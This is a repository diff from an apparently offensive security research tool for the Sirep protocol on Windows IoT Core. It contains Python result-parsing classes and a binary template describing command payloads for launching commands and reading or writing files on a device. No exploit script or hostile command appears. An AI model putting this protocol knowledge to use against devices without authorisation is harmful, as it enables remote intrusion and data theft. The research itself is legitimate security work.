Concrete implementation of the OutputStream result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from SirepResult import SirepResult
from common.constants import INT_SIZE
class OutputStreamResult(SirepResult):
"""Concrete implementation of the OutputStream result"""
def __init__(self, raw_data):
"""Described in parent class"""
super(OutputStreamResult,
self).__init__(raw_data, data_size=len(raw_data) - INT_SIZE)
def __str__(self):
"""Described in parent class"""
return "<OutputStreamResult | type: %s, payload length: %s, payload peek: '%s'>" % (
self.result_type, self.payload_length, self._get_payload_peek(size=50))
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Base class for all Sirep results
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
from pprint import pformat
import common.utils as utils
from common.constants import INT_SIZE
class SirepResult(object):
"""Base class for all Sirep results"""
def __init__(self, raw_data, data_size=None):
"""Initializes the result buffer representation"""
result_type = struct.unpack("I", raw_data[:INT_SIZE])[0]
result_payload = utils.unpack_bytes(raw_data[INT_SIZE:], data_size=data_size)
self.result_type = result_type
self.payload_length = len(result_payload)
self.result_payload = result_payload
self.parsed_kv = self._parse_payload_to_kv(self.result_payload)
@staticmethod
def _parse_payload_to_kv(result_payload):
"""Returns the parsed result data, parsed into a dictionary"""
return {}
def _get_payload_peek(self, size=20):
payload_peek = ""
if len(self.result_payload) > 0:
if len(self.result_payload) > size:
payload_peek = self.result_payload[:size]
else:
payload_peek = self.result_payload
return payload_peek.replace("\n", "").replace("\r", "")
def get_result_type(self):
"""Returns the result type (type ResultRecordType)"""
return self.result_type
def get_result_payload(self):
"""Returns the result payload"""
return self.result_payload
def get_parsed_kv(self):
return self.parsed_kv
def __repr__(self):
"""Returns the instance's representation"""
return pformat(self.__dict__)
def __str__(self):
"""Returns the instance's string representation"""
return "<SirepResult | type: %s, payload length: %s>" % (
self.result_type, self.payload_length)
+75
View File
@@ -0,0 +1,75 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the SystemInformation result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
from SirepResult import SirepResult
from common.constants import OS_VERSION_INFO_EX_SIZE
class SystemInformationResult(SirepResult):
"""Concrete implementation of the SystemInformation result"""
def __init__(self, raw_data):
"""Described in parent class"""
super(SystemInformationResult,
self).__init__(raw_data, data_size=OS_VERSION_INFO_EX_SIZE)
@staticmethod
def _parse_payload_to_kv(result_payload):
"""Described in parent class"""
kv = super(SystemInformationResult,
SystemInformationResult)._parse_payload_to_kv(result_payload)
kv['dwOSVersionInfoSize'], \
kv['dwMajorVersion'], \
kv['dwMinorVersion'], \
kv['dwBuildNumber'], \
kv['dwPlatformId'], \
kv['szCSDVersion'], \
kv['wServicePackMajor'], \
kv['wServicePackMinor'], \
kv['wSuiteMask'], \
kv['wProductType'], \
kv['wReserved'] = \
struct.unpack("IIIIIIHHHBB", result_payload[:OS_VERSION_INFO_EX_SIZE])
return kv
def __str__(self):
"""Described in parent class"""
return "<SystemInformationResult | type: %s, payload length: %s, kv: %s>" % (
self.result_type, self.payload_length, str(self.parsed_kv))
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-08-19 08:03:08
"""
from ErrorStreamResult import ErrorStreamResult
from FileInformationResult import FileInformationResult
from FileResult import FileResult
from HResultResult import HResultResult
from OutputStreamResult import OutputStreamResult
from SirepResult import SirepResult
from SystemInformationResult import SystemInformationResult
__all__ = [
"SirepResult",
"SystemInformationResult",
"FileResult",
"FileInformationResult",
"HResultResult",
"OutputStreamResult",
"ErrorStreamResult",
]
Binary file not shown.
Binary file not shown.
Binary file not shown.
+51
View File
@@ -0,0 +1,51 @@
//------------------------------------------------
//--- 010 Editor v8.0.1 Binary Template
//
// File: Sirep_Command_Payload.bt
// Authors: Dor Azouri
// Version: 1.0
// Purpose: Parse command packet payloads, of the Sirep/WPConProtocol2 protocol
// Category: Windows IoT Core
//------------------------------------------------
enum JOB_TYPE {
LaunchCommand = 0x0A,
GetSystemInformationFromDevice = 0x32,
GetFileFromDevice = 0x1E,
PutFileOnDevice = 0x14,
PutFileOnDevice2 = 0x17,
GetFileInformationFromDevice = 0x3C,
PipeClose = 0x18,
PipeClose2 = 0x28,
} CommandType <bgcolor=cAqua>;
int PayloadLength <bgcolor=cBlue>;
if (CommandType == 0xA){ // LaunchCommand
int ReturnErrorFlag <bgcolor=cDkPurple>;
int ReturnOutputFlag <bgcolor=cDkPurple, comment="Cant be set if error stream is not set">;
int ApplicationNameOffset <bgcolor=cDkGreen, comment="Calculated from start of payload (exluding first 2 ints). Should be > 24h = 36 = 9 ints that come before command line string">;
int ApplicationNameLength <bgcolor=cBlue, comment="In UNICODE bytes, not NULL terminated">;
int CommandLineOffset <bgcolor=cDkGreen>;
int CommandLineLength <bgcolor=cBlue>;
int BaseDirectoryOffset <bgcolor=cDkGreen>;
int BaseDirectoryLength <bgcolor=cBlue>;
int Seperator <bgcolor=cLtAqua>;
wchar_t ApplicationName[ApplicationNameLength/2] <bgcolor=cDkRed, comment="UNICODE, may include suffixes: <AS_LOGGED_ON_USER>, <WPCONDEV>">;
wchar_t CommandLine[CommandLineLength/2] <bgcolor=cDkGreen, comment="UNICODE">;
wchar_t BaseDirectory[BaseDirectoryLength/2] <bgcolor=cDkBlue, comment="UNICODE">;
} else if (CommandType == 0x32) { // GetSystemInformationFromDevice
// no additional parameters needed
} else if (CommandType == 0x1E) { // GetFileFromDevice
wchar_t FilePath[PayloadLength/2] <bgcolor=cDkGreen, comment="UNICODE">;
} else if (CommandType == 0x14) { // PutFileOnDevice
// this template does not support multiple records (chucks) parsing
wchar_t FilePath[PayloadLength/2] <bgcolor=cDkGreen, comment="UNICODE">;
enum WRITE_RECORD_TYPE {
RegularChunk = 0x15,
LastChunk = 0x16,
} WriteRecordType <bgcolor=cAqua>;
int DataToWriteLength <bgcolor=cBlue, comment="max chunk size=0x10000">;
wchar_t DataToWrite[DataToWriteLength/2] <bgcolor=cDkGreen, comment="UNICODE">;
} else if (CommandType == 0x3C) { // GetFileInformationFromDevice
wchar_t FilePath[PayloadLength/2] <bgcolor=cDkGreen, comment="UNICODE">;
}